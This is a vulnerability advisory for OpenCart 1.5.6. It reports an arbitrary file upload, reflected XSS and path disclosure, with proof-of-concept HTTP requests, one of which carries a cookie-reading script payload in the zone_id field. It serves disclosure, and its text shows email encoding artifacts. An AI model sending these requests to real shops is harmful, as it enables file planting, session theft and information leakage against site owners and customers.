########################################################= ###################
# Title: Opencart Multiple Vulnerabilities
# Vend= or: http://www.opencart.com
# Vulnerabilities: Arbitrary File Upload, XS= S, Path Disclosure
# Vulnerable Version: opencart 1.5.6 (prior versions = also may be affected)
# Exploitation: Remote with browser
# Impact: H= igh
# Vendor Supplied Patch: N/A
# Original Advisory with Workaround:=
# http://www.garda.ir/Opencart_Multiple_Vulnerabilities.html
######= #####################################################################
####################
- Description:
####################

Quo= te from vendor: OpenCart is a turn-key ready "out of the box" shopping cart= solution.
You simply install, select your template, add products and you're ready to start accepting orders.

###################= #
- Vulnerability:
####################
In the process of optimizi= ng our crawler engine by garda.ir (garda.ir is a Persian online shopping pr= ice comparison service which uses new search engine technologies to grab pr= ices) we found file upload vulnerability in opencart application, further i= nvestigation lead us to discover other vulnerabilities such as path disclos= ure and xss.

####################
- POC:
#######= #############

# 1
# File Upload
# Insufficient Authorization i= n /catalog/controller/product/product.php
# Result: testupload.txt.some= hash is created in /download folder

POST /opencart-1.5.6/index.p= hp?route=3Dproduct/product/upload HTTP/1.1
Host: example.com
Content-= Type: multipart/form-data; boundary=3D---------------------------4827543632= 391
Content-Length: 206
Connection: Keep-Alive

-----------------------------4827543632391
Conten= t-Disposition: form-data; name=3D"file"; filename=3D"testupload.txt"
Con= tent-Type: text/plain

testtesttest
-----------------------------4= 827543632391--

# 2
# Reflected XSS and Path Disclosure
# I= nput Validation Error in /catalog/controller/account/register.php
# Resu= lt: this will cause arbitrary scripting code to be executed by the &nb= sp; # target user's browser.

POST /opencart-= 1.5.6/index.php?route=3Daccount/register HTTP/1.1
Content-Type: multipar= t/form-data; boundary=3D---------------------------1e7a98bc645efbe7
Cont= ent-Length: 181
Host: example.com
Connection: Keep-Alive

-= ----------------------------1e7a98bc645efbe7
Content-Disposition: form-d= ata; name=3D"zone_id"

12345'+alert(document.cookie)+'
-----------= ------------------1e7a98bc645efbe7--

# 3
# Information Leakag= e =E2=80=93 Path Disclosure
# Insufficient Authorization in /system/logs/= error.txt
# Result: Information Disclosure

http://www.example.co= m/opencart-1.5.6/system/logs/error.txt

####################
-= Solution:
####################
There is no Vendor Supplied Patch at = the time of this entry.
For workaround check the Original Advisory.
<= br>
####################
- Credit:
####################
Discove= red by: trueend5 (trueend5 [at] yahoo com)

This advisory is sponsore= d by garda.ir
http://www.garda.ir
A Persian online shopping price com= parison service